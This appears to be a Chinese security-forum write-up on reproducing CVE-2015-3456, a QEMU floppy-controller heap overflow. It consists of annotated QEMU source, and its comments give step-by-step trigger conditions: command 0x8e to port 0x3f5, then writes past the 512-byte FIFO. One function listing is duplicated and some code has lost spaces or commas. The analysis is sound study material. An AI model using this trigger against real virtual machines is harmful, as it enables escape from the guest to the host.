大数跨境
0
0

CVE-2015-3456 Qemu逃逸复现

CVE-2015-3456 Qemu逃逸复现 看雪学苑
2025-12-11
0
导读:看雪论坛作者ID:Elenia

环境搭建

QEMU版本:1.5.3

编译

◆下载 python 2.7


apt install python2.7 python2.7-dev


◆必要的依赖


apt-get install -y \
    git \
    libglib2.0-dev \
    libfdt-dev \
    libpixman-1-dev \
    zlib1g-dev \
    ninja-build \
    pkg-config \
    libgnutls28-dev \
    libssl-dev \
    libsasl2-dev \
    libgtk-3-dev \
    libvte-2.91-dev \
    libssh-dev \
    libusb-1.0-0-dev \
    libaio-dev \
    libcap-ng-dev \
    libattr1-dev \
    libcurl4-gnutls-dev \
    python3 \
    python3-pip \
    flex \
    bison


◆Build


../configure --enable-debug --enable-kvm --python=/usr/bin/python2.7 --disable-werror --disable-virtfs

FDC

FDC(Floppy Disk Controller)是模拟 Intel 82078 软盘控制器的硬件设备,用于:


◆控制软盘驱动器(最多2个,MAX_FD = 2)

◆处理软盘命令(READ、WRITE、SEEK、FORMAT等)

◆管理数据传输(DMA或PIO)

◆维护驱动器状态(磁头位置、磁道、扇区等)


整体流程

QEMU启动
    ↓
设备注册 (fdc_register_types)
    ↓
设备实例化 (qdev_create)
    ↓
设备初始化 (qdev_init_nofail)
    ↓
调用设备特定的init函数:
    ├─→ isabus_fdc_init1 (ISA设备)
    ├─→ sysbus_fdc_init1 (SysBus设备)
    └─→ sun4m_fdc_init1 (Sun4m设备)
    ↓
fdctrl_init_common(fdctrl)
    ↓
初始化command_to_handler查找表
    ↓
分配fifo缓冲区: qemu_memalign(512512)
    ↓
设置fifo_size = 512
    ↓
初始化其他控制器状态
    ↓
连接驱动器 (fdctrl_connect_drives)

FDC I/O端口映射

iobase

static Property isa_fdc_properties[] = {
DEFINE_PROP_HEX32("iobase", FDCtrlISABus, iobase, 0x3f0),
DEFINE_PROP_UINT32("irq", FDCtrlISABus, irq, 6),
DEFINE_PROP_UINT32("dma", FDCtrlISABus, dma, 2),
DEFINE_PROP_DRIVE("driveA", FDCtrlISABus, state.drives[0].bs),
DEFINE_PROP_DRIVE("driveB", FDCtrlISABus, state.drives[1].bs),
DEFINE_PROP_INT32("bootindexA", FDCtrlISABus, bootindexA, -1),
DEFINE_PROP_INT32("bootindexB", FDCtrlISABus, bootindexB, -1),
DEFINE_PROP_BIT("check_media_rate", FDCtrlISABus, state.check_media_rate,
0true),
DEFINE_PROP_END_OF_LIST(),
};


◆这样我们可以知道 iobase 为0x3f0


端口映射表

/* FDC I/O端口映射表 - outb机制的关键
 * c
 * 结构说明:
 * { offset, length, size, .read = func, .write = func }
 * - offset: 相对于iobase的偏移量
 * - length: 端口范围长度
 * - size: 访问大小(1=字节,2=字,4=双字)
 *
 * 端口映射(假设iobase=0x3f0):
 * - 0x3f1-0x3f5: 偏移1-5,映射到fdctrl_read/fdctrl_write
 *   * 0x3f1 (offset=1): FD_REG_SRA (状态寄存器A)
 *   * 0x3f2 (offset=2): FD_REG_DOR (数字输出寄存器)
 *   * 0x3f3 (offset=3): FD_REG_TDR (磁带驱动器寄存器)
 *   * 0x3f4 (offset=4): FD_REG_MSR (主状态寄存器)
 *   * 0x3f5 (offset=5): FD_REG_FIFO (FIFO数据寄存器) ← 漏洞触发端口!
 * - 0x3f7: 偏移7,映射到fdctrl_read/fdctrl_write
 *   * 0x3f7 (offset=7): FD_REG_DIR (数字输入寄存器) 或 FD_REG_CCR (配置控制寄存器)
 *
 * outb(0x8e, 0x3f5) 的完整路径:
 * 1. 主机执行outb(0x8e, 0x3f5)
 * 2. QEMU CPU模拟层:cpu_outb(0x3f5, 0x8e)
 * 3. I/O端口层:ioport_write(0, 0x3f5, 0x8e)
 * 4. 查找注册的handler:ioport_write_table[0][0x3f5]
 * 5. 调用:portio_writeb_thunk() → fdctrl_write(offset=5, value=0x8e)
 * 6. fdctrl_write识别offset=5为FD_REG_FIFO
 * 7. 调用fdctrl_write_data(fdctrl, 0x8e)
 * 8. fdctrl_write_data识别data_pos=0,进入命令模式
 */
static const MemoryRegionPortio fdc_portio_list[] = {
    { 1, 5, 1, .read = fdctrl_read, .write = fdctrl_write },  /* 0x3f1-0x3f5 */
    { 7, 1, 1, .read = fdctrl_read, .write = fdctrl_write },  /* 0x3f7 */
    PORTIO_END_OF_LIST(),
};


◆这里的定义就是0x3f1-0x3f5 & 0x3f7会去调用 fdctrl_write与fdctrl_read去处理系统调用的访问


FDC操作映射

◆根据传入的 offset 其对应的操作,比如我传递0x3f5,那么与iobase的差距为5。所以我们的fdctrl_write传入的参数为(opaque,5,value)。那么对应 FD_REG_FIFO


enum {
    FD_REG_SRA = 0x00,
    FD_REG_SRB = 0x01,
    FD_REG_DOR = 0x02,
    FD_REG_TDR = 0x03,
    FD_REG_MSR = 0x04,
    FD_REG_DSR = 0x04,
    FD_REG_FIFO = 0x05,
    FD_REG_DIR = 0x07,
    FD_REG_CCR = 0x07,
};
staticvoidfdctrl_write (void *opaque, uint32_t reg, uint32_t value){
    FDCtrl *fdctrl = opaque;

FLOPPY_DPRINTF("write reg%d: 0x%02x\n", reg & 7, value);

    reg &= 7;
switch (reg) {
case FD_REG_DOR:
fdctrl_write_dor(fdctrl, value);
break;
case FD_REG_TDR:
fdctrl_write_tape(fdctrl, value);
break;
case FD_REG_DSR:
fdctrl_write_rate(fdctrl, value);
break;
case FD_REG_FIFO:
fdctrl_write_data(fdctrl, value);
break;
case FD_REG_CCR:
fdctrl_write_ccr(fdctrl, value);
break;
default:
break;
    }
}

fdctrl_write_data

当 offset 为 5则会调用 fdctrl_write_data

/* FDC FIFO数据写入处理函数 - 漏洞核心函数
 * 
 * 函数调用链:
 * fdctrl_write (FD_REG_FIFO) → fdctrl_write_data
 * 
 * 整体流程:
 * 1. 检查控制器状态(RESET、RQM、DIO)
 * 2. 判断当前模式:
 *    a) 非DMA数据传输模式 (FD_MSR_NONDMA): 处理数据传输
 *    b) 命令模式 (data_pos == 0): 识别命令,设置data_len
 *    c) 参数接收模式: 接收命令参数,写入FIFO
 * 3. 当data_pos == data_len时,调用命令处理器
 * 
 * 状态机转换:
 * 空闲 → 命令接收 → 参数接收 → 命令处理 → 数据传输/结果返回 → 空闲
 * 
 * 漏洞触发条件:
 * 1. 控制器处于非RESET状态
 * 2. MSR_RQM标志置位(请求主模式)
 * 3. MSR_DIO标志未置位(写方向)
 * 4. 不在非DMA数据传输模式(否则会走另一个分支)
 * 5. 攻击者发送命令后,继续发送超过data_len的数据
 * 
 * 漏洞触发流程:
 * Step 1: 发送命令字节(如0x8e)
 *   - data_pos = 0,识别命令,设置data_len = 6
 * Step 2: 发送参数(正常5个参数)
 *   - data_pos: 1 → 2 → 3 → 4 → 5 → 6
 * Step 3: 攻击:继续发送数据
 *   - data_pos继续增长:7 → 8 → ... → 512 → 513 → ...
 *   - 当data_pos >= 512时,fifo[data_pos]越界写入堆内存
 * 
 * 关键变量:
 * - fdctrl->fifo: 堆上分配的512字节缓冲区
 * - fdctrl->data_pos: 当前写入位置(可能超过512)
 * - fdctrl->data_len: 预期数据长度(根据命令设置)
 * - fdctrl->msr: 主状态寄存器,控制状态机
 */
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
    FDrive *cur_drv;
    int pos;

/* 检查1: 控制器必须在非RESET状态 */
if (!(fdctrl->dor & FD_DOR_nRESET)) {
FLOPPY_DPRINTF("Floppy controller in RESET state !\n");
return;
    }
/* 检查2: 控制器必须准备好接收数据
     * - MSR_RQM: 请求主模式标志,必须置位
     * - MSR_DIO: 数据方向标志,0=写(主机→控制器),1=读(控制器→主机)
     * 如果DIO置位,说明控制器在等待主机读取,不应该写入
     */
if (!(fdctrl->msr & FD_MSR_RQM) || (fdctrl->msr & FD_MSR_DIO)) {
FLOPPY_DPRINTF("error: controller not ready for writing\n");
return;
    }
    fdctrl->dsr &= ~FD_DSR_PWRDOWN;
/* Is it write command time ? */
if (fdctrl->msr & FD_MSR_NONDMA) {

        pos = fdctrl->data_pos++;
        pos %= FD_SECTOR_LEN; 
        fdctrl->fifo[pos] = value;
if (pos == FD_SECTOR_LEN - 1 ||
            fdctrl->data_pos == fdctrl->data_len) {
            cur_drv = get_cur_drv(fdctrl);
if (bdrv_write(cur_drv->bs, fd_sector(cur_drv), fdctrl->fifo, 1) < 0) {
FLOPPY_DPRINTF("error writing sector %d\n",
fd_sector(cur_drv));
return;
            }
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
FLOPPY_DPRINTF("error seeking to next sector %d\n",
fd_sector(cur_drv));
return;
            }
        }
/* Switch from transfer mode to status mode
         * then from status mode to command mode
         */
if (fdctrl->data_pos == fdctrl->data_len)
fdctrl_stop_transfer(fdctrl, 0x000x000x00);
return;
    }

/* ========================================================================
     * 命令识别阶段 - 当data_pos==0时,识别这是一个新命令
     * ========================================================================
     * 
     * 触发条件:data_pos == 0(FIFO为空,准备接收新命令)
     * 
     * 命令识别流程:
     * 1. 通过command_to_handler[value]查找命令对应的handler索引
     *    - command_to_handler数组在fdctrl_init_common()中初始化
     *    - 建立命令字节值(0x00-0xff)到handlers数组索引的映射
     * 
     * 2. 设置预期数据长度:data_len = parameters + 1
     *    - parameters: 命令需要的参数数量(不包括命令字节本身)
     *    - +1: 包括命令字节本身
     *    - 例如:0x8e命令parameters=5,所以data_len=6
     * 
     * 3. 设置MSR_CMDBUSY标志
     *    - 表示控制器正在处理命令,防止其他操作干扰
     * 
     * 示例:outb(0x8e, 0x3f5)
     * - value = 0x8e
     * - pos = command_to_handler[0x8e] → 找到handlers数组索引
     * - handlers[pos].name = "DRIVE SPECIFICATION COMMAND"
     * - handlers[pos].parameters = 5
     * - data_len = 5 + 1 = 6
     * - 设置MSR_CMDBUSY标志
     * 
     * 后续流程:
     * - 命令字节0x8e被写入fifo[0]
     * - data_pos变为1
     * - 等待接收5个参数
     */
if (fdctrl->data_pos == 0) {
/* Command - 命令识别 */
        pos = command_to_handler[value & 0xff];  /* 查找命令对应的handler索引 */
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
/* 设置预期数据长度:命令字节 + 参数数量 */
        fdctrl->data_len = handlers[pos].parameters + 1;
/* 设置命令忙标志,防止其他操作干扰 */
        fdctrl->msr |= FD_MSR_CMDBUSY;
    }

FLOPPY_DPRINTF("%s: %02x\n", __func__, value);

/* ========================================================================
     * CVE-2015-3456 漏洞核心代码 - 无边界检查的FIFO写入
     * ========================================================================
     * 
     * 漏洞点:直接使用data_pos作为数组索引,没有检查是否超过fifo_size(512)
     * 
     * 正常流程:
     * - data_pos从0开始,每次写入后递增
     * - 当data_pos == data_len时,调用命令处理器
     * - 命令处理器通常会调用fdctrl_set_fifo或fdctrl_reset_fifo重置data_pos=0
     * 
     * 攻击流程(0x8e命令):
     * 1. 发送命令字节0x8e,data_pos=0,设置data_len=6
     * 2. 发送5个参数,data_pos: 1→2→3→4→5→6
     * 3. 当data_pos==6时,调用fdctrl_handle_drive_specification_command
     * 4. 如果第5个参数(fifo[5])的bit7=0且bit6=0,函数直接返回
     * 5. data_pos保持为6,不会被重置
     * 6. 攻击者继续发送数据:
     *    - data_pos=7: fifo[7] = value  ← 仍在FIFO范围内
     *    - ...
     *    - data_pos=512: fifo[512] = value  ← 越界写入!开始覆盖堆内存
     *    - data_pos=513: fifo[513] = value  ← 继续越界写入
     *    - ...
     * 
     */
    fdctrl->fifo[fdctrl->data_pos++] = value;  /* 漏洞:直接使用data_pos,无边界检查! */

/* ========================================================================
     * 命令处理阶段 - 当data_pos == data_len时,所有参数接收完毕
     * ========================================================================
     * 
     * 触发条件:data_pos == data_len(所有参数已接收)
     * 
     * 处理流程:
     * 1. 检查是否为格式化命令(特殊处理)
     * 2. 根据命令字节(fifo[0])查找handler索引
     * 3. 调用对应的命令处理函数
     * 
     * 函数调用链:
     * fdctrl_write_data → handlers[pos].handler(fdctrl, direction)
     * 
     * 可能的处理器:
     * - fdctrl_start_transfer: READ/WRITE等数据传输命令
     * - fdctrl_handle_drive_specification_command: 0x8e命令 ← 漏洞利用的关键
     * - fdctrl_handle_seek: SEEK命令
     * - fdctrl_handle_specify: SPECIFY命令
     * - 其他命令处理器
     * 
     * 示例:0x8e命令处理
     * - fifo[0] = 0x8e(命令字节)
     * - fifo[1-5] = 5个参数
     * - data_pos = 6,data_len = 6
     * - pos = command_to_handler[0x8e]
     * - handlers[pos].handler = fdctrl_handle_drive_specification_command
     * - 调用:fdctrl_handle_drive_specification_command(fdctrl, ...)
     * 
     * 漏洞利用的关键:
     * - 如果handler函数不调用fdctrl_set_fifo()或fdctrl_reset_fifo()
     * - data_pos不会被重置,可以继续写入数据
     * - 导致data_pos超过512,触发缓冲区溢出
     */
/* 检查是否接收完所有参数 */
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了 */
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
        }

/* 根据命令字节查找并调用相应的处理器 */
        pos = command_to_handler[fdctrl->fifo[0] & 0xff];  /* 从fifo[0]获取命令字节 */
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
/* 调用命令处理函数 */
        (*handlers[pos].handler)(fdctrl, handlers[pos].direction);
    }
/* 注意:如果data_pos != data_len,函数返回,等待下一次写入
     * 攻击者可以继续发送数据,使data_pos继续增长,直到超过512
     */
}

FIFO

FIFO是FDC的核心缓冲区,用于:

1.命令接收:主机通过FIFO发送命令和参数

2.数据传输:在主机和软盘之间缓冲数据

3.状态返回:控制器通过FIFO返回状态和结果


FIFO内存布局

内存地址布局(FDCtrl结构体中的FIFO相关字段):

+------------------+
| fifo (指针)      |  → 指向实际分配的512字节缓冲区
+------------------+
| fifo_size        |  = 512 (固定值)
+------------------+
| data_pos         |  = 当前读写位置(可能超过512)
+------------------+
| data_len         |  = 本次传输的总长度(可能很大)
+------------------+
| data_state       |  = 状态标志(MULTI, FORMAT等)
+------------------+
| data_dir         |  = 方向(READ/WRITE/SCAN等)
+------------------+
| eot              |  = 最后一个扇区号
+------------------+

实际FIFO缓冲区(通过fifo指针访问):

+------------------+
| fifo[0]          |  ← 命令字节或状态字节0
+------------------+
| fifo[1]          |  ← 参数1或状态字节1
+------------------+
| fifo[2]          |  ← 参数2或状态字节2
+------------------+
| ...              |
+------------------+
| fifo[511]        |  ← 最后一个字节
+------------------+

FIFO内存分配

我们可以看见 fdctrl->fifo 被分配了较为固定的512字节大小的存储。

fdctrl->fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl->fifo_size = 512;

FIFO不同模式下的布局

命令模式

◆也就是 FIFO[0]决定要调用什么函数,然后后续的outb发送的就是我们的参数


fifo[0]  = 命令字节(如0x05 = WRITE)
fifo[1]  = 驱动器选择 + 磁头选择
fifo[2]  = 磁道号 (track)
fifo[3]  = 磁头号 (head)
fifo[4]  = 起始扇区 (sector)
fifo[5]  = 扇区大小码 (sector size code)
fifo[6]  = 结束扇区 (EOT)
fifo[7]  = GAP长度
fifo[8]  = 数据长度(如果fifo[5]==0)

数据传输模式

fifo[0..511]  = 一个扇区的数据(512字节)
                - 非DMA模式:循环使用,pos = data_pos % 512
                - DMA模式:每次读取一个完整扇区

结果返回模式

fifo[0]  = SR0 (状态寄存器0)
fifo[1]  = SR1 (状态寄存器1)
fifo[2]  = SR2 (状态寄存器2)
fifo[3]  = 当前磁道号
fifo[4]  = 当前磁头号
fifo[5]  = 当前扇区号
fifo[6]  = 扇区大小码

FIFO的命令处理表

enum {
    FD_CMD_READ_TRACK = 0x02,
    FD_CMD_SPECIFY = 0x03,
    FD_CMD_SENSE_DRIVE_STATUS = 0x04,
    FD_CMD_WRITE = 0x05,
    FD_CMD_READ = 0x06,
    FD_CMD_RECALIBRATE = 0x07,
    FD_CMD_SENSE_INTERRUPT_STATUS = 0x08,
    FD_CMD_WRITE_DELETED = 0x09,
    FD_CMD_READ_ID = 0x0a,
    FD_CMD_READ_DELETED = 0x0c,
    FD_CMD_FORMAT_TRACK = 0x0d,
    FD_CMD_DUMPREG = 0x0e,
    FD_CMD_SEEK = 0x0f,
    FD_CMD_VERSION = 0x10,
    FD_CMD_SCAN_EQUAL = 0x11,
    FD_CMD_PERPENDICULAR_MODE = 0x12,
    FD_CMD_CONFIGURE = 0x13,
    FD_CMD_LOCK = 0x14,
    FD_CMD_VERIFY = 0x16,
    FD_CMD_POWERDOWN_MODE = 0x17,
    FD_CMD_PART_ID = 0x18,
    FD_CMD_SCAN_LOW_OR_EQUAL = 0x19,
    FD_CMD_SCAN_HIGH_OR_EQUAL = 0x1d,
    FD_CMD_SAVE = 0x2e,
    FD_CMD_OPTION = 0x33,
    FD_CMD_RESTORE = 0x4e,
    FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
    FD_CMD_RELATIVE_SEEK_OUT = 0x8f,
    FD_CMD_FORMAT_AND_WRITE = 0xcd,
    FD_CMD_RELATIVE_SEEK_IN = 0xcf,
};
staticconststruct {
uint8_t value;
uint8_t mask;
constchar* name;
int parameters;
void (*handler)(FDCtrl *fdctrl, int direction);
int direction;
} handlers[] = {
    { FD_CMD_READ, 0x1f"READ"8, fdctrl_start_transfer, FD_DIR_READ },
    { FD_CMD_WRITE, 0x3f"WRITE"8, fdctrl_start_transfer, FD_DIR_WRITE },
    { FD_CMD_SEEK, 0xff"SEEK"2, fdctrl_handle_seek },
    { FD_CMD_SENSE_INTERRUPT_STATUS, 0xff"SENSE INTERRUPT STATUS"0, fdctrl_handle_sense_interrupt_status },
    { FD_CMD_RECALIBRATE, 0xff"RECALIBRATE"1, fdctrl_handle_recalibrate },
    { FD_CMD_FORMAT_TRACK, 0xbf"FORMAT TRACK"5, fdctrl_handle_format_track },
    { FD_CMD_READ_TRACK, 0xbf"READ TRACK"8, fdctrl_start_transfer, FD_DIR_READ },
    { FD_CMD_RESTORE, 0xff"RESTORE"17, fdctrl_handle_restore }, /* part of READ DELETED DATA */
    { FD_CMD_SAVE, 0xff"SAVE"0, fdctrl_handle_save }, /* part of READ DELETED DATA */
    { FD_CMD_READ_DELETED, 0x1f"READ DELETED DATA"8, fdctrl_start_transfer_del, FD_DIR_READ },
    { FD_CMD_SCAN_EQUAL, 0x1f"SCAN EQUAL"8, fdctrl_start_transfer, FD_DIR_SCANE },
    { FD_CMD_VERIFY, 0x1f"VERIFY"8, fdctrl_start_transfer, FD_DIR_VERIFY },
    { FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f"SCAN LOW OR EQUAL"8, fdctrl_start_transfer, FD_DIR_SCANL },
    { FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f"SCAN HIGH OR EQUAL"8, fdctrl_start_transfer, FD_DIR_SCANH },
    { FD_CMD_WRITE_DELETED, 0x3f"WRITE DELETED DATA"8, fdctrl_start_transfer_del, FD_DIR_WRITE },
    { FD_CMD_READ_ID, 0xbf"READ ID"1, fdctrl_handle_readid },
    { FD_CMD_SPECIFY, 0xff"SPECIFY"2, fdctrl_handle_specify },
    { FD_CMD_SENSE_DRIVE_STATUS, 0xff"SENSE DRIVE STATUS"1, fdctrl_handle_sense_drive_status },
    { FD_CMD_PERPENDICULAR_MODE, 0xff"PERPENDICULAR MODE"1, fdctrl_handle_perpendicular_mode },
    { FD_CMD_CONFIGURE, 0xff"CONFIGURE"3, fdctrl_handle_configure },
    { FD_CMD_POWERDOWN_MODE, 0xff"POWERDOWN MODE"2, fdctrl_handle_powerdown_mode },
    { FD_CMD_OPTION, 0xff"OPTION"1, fdctrl_handle_option },
    { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff"DRIVE SPECIFICATION COMMAND"5, fdctrl_handle_drive_specification_command },
    { FD_CMD_RELATIVE_SEEK_OUT, 0xff"RELATIVE SEEK OUT"2, fdctrl_handle_relative_seek_out },
    { FD_CMD_FORMAT_AND_WRITE, 0xff"FORMAT AND WRITE"10, fdctrl_unimplemented },
    { FD_CMD_RELATIVE_SEEK_IN, 0xff"RELATIVE SEEK IN"2, fdctrl_handle_relative_seek_in },
    { FD_CMD_LOCK, 0x7f"LOCK"0, fdctrl_handle_lock },
    { FD_CMD_DUMPREG, 0xff"DUMPREG"0, fdctrl_handle_dumpreg },
    { FD_CMD_VERSION, 0xff"VERSION"0, fdctrl_handle_version },
    { FD_CMD_PART_ID, 0xff"PART ID"0, fdctrl_handle_partid },
    { FD_CMD_WRITE, 0x1f"WRITE (BeOS)"8, fdctrl_start_transfer, FD_DIR_WRITE }, /* not in specification ; BeOS 4.5 bug */
    { 00"unknown"0, fdctrl_unimplemented }, /* default handler */
};


fdctrl_init_common 会初始化command_to_handler,用来根据对应命令号获取**pos,然后去handlers中取出对应结构**


static int fdctrl_init_common(FDCtrl *fdctrl)
{
int i, j;
static int command_tables_inited = 0;

/* Fill 'command_to_handler' lookup table */
if (!command_tables_inited) {
        command_tables_inited = 1;
for (i = ARRAY_SIZE(handlers) - 1; i >= 0; i--) {
for (j = 0; j < sizeof(command_to_handler); j++) {
if ((j & handlers[i].mask) == handlers[i].value) {
                    command_to_handler[j] = i;
                }
            }
        }
    }
// ...
}

FIFO 写入命令

一共这里我们可以看见分为两个板块,一个板块是接收数据

一个板块是判断数据接收完毕调用函数,然后设置标识位

/* FDC FIFO数据写入处理函数 - 漏洞核心函数
 * 
 * 函数调用链:
 * fdctrl_write (FD_REG_FIFO) → fdctrl_write_data
 * 
 * 整体流程:
 * 1. 检查控制器状态(RESET、RQM、DIO)
 * 2. 判断当前模式:
 *    a) 非DMA数据传输模式 (FD_MSR_NONDMA): 处理数据传输
 *    b) 命令模式 (data_pos == 0): 识别命令,设置data_len
 *    c) 参数接收模式: 接收命令参数,写入FIFO
 * 3. 当data_pos == data_len时,调用命令处理器
 * 
 * 状态机转换:
 * 空闲 → 命令接收 → 参数接收 → 命令处理 → 数据传输/结果返回 → 空闲
 * 
 * 漏洞触发条件:
 * 1. 控制器处于非RESET状态
 * 2. MSR_RQM标志置位(请求主模式)
 * 3. MSR_DIO标志未置位(写方向)
 * 4. 不在非DMA数据传输模式(否则会走另一个分支)
 * 5. 攻击者发送命令后,继续发送超过data_len的数据
 * 
 * 漏洞触发流程:
 * Step 1: 发送命令字节(如0x8e)
 *   - data_pos = 0,识别命令,设置data_len = 6
 * Step 2: 发送参数(正常5个参数)
 *   - data_pos: 1 → 2 → 3 → 4 → 5 → 6
 * Step 3: 攻击:继续发送数据
 *   - data_pos继续增长:7 → 8 → ... → 512 → 513 → ...
 *   - 当data_pos >= 512时,fifo[data_pos]越界写入堆内存
 * 
 * 关键变量:
 * - fdctrl->fifo: 堆上分配的512字节缓冲区
 * - fdctrl->data_pos: 当前写入位置(可能超过512)
 * - fdctrl->data_len: 预期数据长度(根据命令设置)
 * - fdctrl->msr: 主状态寄存器,控制状态机
 */
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
    FDrive *cur_drv;
    int pos;

/* 检查1: 控制器必须在非RESET状态 */
if (!(fdctrl->dor & FD_DOR_nRESET)) {
FLOPPY_DPRINTF("Floppy controller in RESET state !\n");
return;
    }
/* 检查2: 控制器必须准备好接收数据
     * - MSR_RQM: 请求主模式标志,必须置位
     * - MSR_DIO: 数据方向标志,0=写(主机→控制器),1=读(控制器→主机)
     * 如果DIO置位,说明控制器在等待主机读取,不应该写入
     */
if (!(fdctrl->msr & FD_MSR_RQM) || (fdctrl->msr & FD_MSR_DIO)) {
FLOPPY_DPRINTF("error: controller not ready for writing\n");
return;
    }
    fdctrl->dsr &= ~FD_DSR_PWRDOWN;
/* Is it write command time ? */
if (fdctrl->msr & FD_MSR_NONDMA) {

        pos = fdctrl->data_pos++;
        pos %= FD_SECTOR_LEN; 
        fdctrl->fifo[pos] = value;
if (pos == FD_SECTOR_LEN - 1 ||
            fdctrl->data_pos == fdctrl->data_len) {
            cur_drv = get_cur_drv(fdctrl);
if (bdrv_write(cur_drv->bs, fd_sector(cur_drv), fdctrl->fifo, 1) < 0) {
FLOPPY_DPRINTF("error writing sector %d\n",
fd_sector(cur_drv));
return;
            }
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
FLOPPY_DPRINTF("error seeking to next sector %d\n",
fd_sector(cur_drv));
return;
            }
        }
/* Switch from transfer mode to status mode
         * then from status mode to command mode
         */
if (fdctrl->data_pos == fdctrl->data_len)
fdctrl_stop_transfer(fdctrl, 0x000x000x00);
return;
    }

if (fdctrl->data_pos == 0) {
/* Command */
        pos = command_to_handler[value & 0xff];
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
/* 设置预期数据长度:命令字节 + 参数数量 */
        fdctrl->data_len = handlers[pos].parameters + 1;
/* 设置命令忙标志,防止其他操作干扰 */
        fdctrl->msr |= FD_MSR_CMDBUSY;
    }

FLOPPY_DPRINTF("%s: %02x\n", __func__, value);

/* ========================================================================
     * CVE-2015-3456 漏洞核心代码 - 无边界检查的FIFO写入
     * ========================================================================
     * 
     * 漏洞点:直接使用data_pos作为数组索引,没有检查是否超过fifo_size(512)
     * 
     * 正常流程:
     * - data_pos从0开始,每次写入后递增
     * - 当data_pos == data_len时,调用命令处理器
     * - 命令处理器通常会调用fdctrl_set_fifo或fdctrl_reset_fifo重置data_pos=0
     * 
     * 攻击流程(0x8e命令):
     * 1. 发送命令字节0x8e,data_pos=0,设置data_len=6
     * 2. 发送5个参数,data_pos: 1→2→3→4→5→6
     * 3. 当data_pos==6时,调用fdctrl_handle_drive_specification_command
     * 4. 如果第5个参数(fifo[5])的bit7=0且bit6=0,函数直接返回
     * 5. data_pos保持为6,不会被重置
     * 6. 攻击者继续发送数据:
     *    - data_pos=7: fifo[7] = value  ← 仍在FIFO范围内
     *    - ...
     *    - data_pos=512: fifo[512] = value  ← 越界写入!开始覆盖堆内存
     *    - data_pos=513: fifo[513] = value  ← 继续越界写入
     *    - ...
     * 
     */
    fdctrl->fifo[fdctrl->data_pos++] = value;  /* 漏洞:直接使用data_pos,无边界检查! */

/* 检查是否接收完所有参数 */
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了
         * 
         * 函数调用链:
         * fdctrl_write_data → handlers[pos].handler
         * 
         * 可能的处理器:
         * - fdctrl_start_transfer: READ/WRITE等数据传输命令
         * - fdctrl_handle_drive_specification_command: 0x8e命令
         * - fdctrl_handle_seek: SEEK命令
         * - 其他命令处理器
         */
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
        }

/* 根据命令字节查找并调用相应的处理器 */
        pos = command_to_handler[fdctrl->fifo[0] & 0xff];
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
        (*handlers[pos].handler)(fdctrl, handlers[pos].direction);
    }
/* 注意:如果data_pos != data_len,函数返回,等待下一次写入
     * 攻击者可以继续发送数据,使data_pos继续增长,直到超过512
     */
}

FIFO状态重制

参数传递完毕后处理器调用


◆一般在 data_pos 和 data_len相等的情况下,就会判定完参数传递完毕


// fdctrl_write_data 
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了 */
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
    }

/* 根据命令字节查找并调用相应的处理器 */
    pos = command_to_handler[fdctrl->fifo[0] & 0xff];  /* 从fifo[0]获取命令字节 */
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
/* 调用命令处理函数 */
    (*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
fdctrl_handle_drive_specification_command

那么根据映射表我们可以知道fdctrl_handle_drive_specification_command函数会被调用

static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
    FDrive *cur_drv = get_cur_drv(fdctrl);

/* 检查第5个参数(最后一个参数)的最高位 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
/* Command parameters done - 参数处理完成 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
/* bit6=1: 需要返回结果 */
            fdctrl->fifo[0] = fdctrl->fifo[1];
            fdctrl->fifo[2] = 0;
            fdctrl->fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4);  /* 正常:重置data_pos=0,设置DIO标志 */
        } else {
/* bit6=0: 不需要返回结果 */
fdctrl_reset_fifo(fdctrl);  /* 正常:重置data_pos=0 */
        }
    } else if (fdctrl->data_len > 7) {
/* ERROR - 数据长度错误 */
/* 漏洞:data_len=6,这个条件永远不会满足! */
        fdctrl->fifo[0] = 0x80 |
            (cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1);  /* 永远不会执行到这里 */
    }
/* 漏洞点:如果第5个参数的bit7=0且data_len<=7,函数直接返回
     * 不调用任何重置函数,data_pos保持为6,可以继续写入!
     */
}

状态重制

/* FIFO状态重置函数 - 防止溢出的关键函数之一
 * 
 * 功能:重置FIFO状态,准备接收新命令
 * 
 * 关键操作:
 * 1. data_pos = 0  ← 重置写入位置,防止data_pos无限增长!
 * 2. data_dir = WRITE  ← 设置为写模式(主机→控制器)
 * 3. 清除CMDBUSY和DIO标志  ← 重置状态机标志
 * 
 * 为什么能防止溢出:
 * - 正常流程中,命令处理完成后会调用此函数重置data_pos=0
 * - 如果data_pos被重置为0,后续写入会从fifo[0]开始,不会越界
 * - 漏洞利用的关键是绕过这个重置,让data_pos继续增长超过512
 */
static void fdctrl_reset_fifo(FDCtrl *fdctrl)
{
    fdctrl->data_dir = FD_DIR_WRITE;
    fdctrl->data_pos = 0;  /* 关键:重置位置,防止溢出 */
    fdctrl->msr &= ~(FD_MSR_CMDBUSY | FD_MSR_DIO);
}
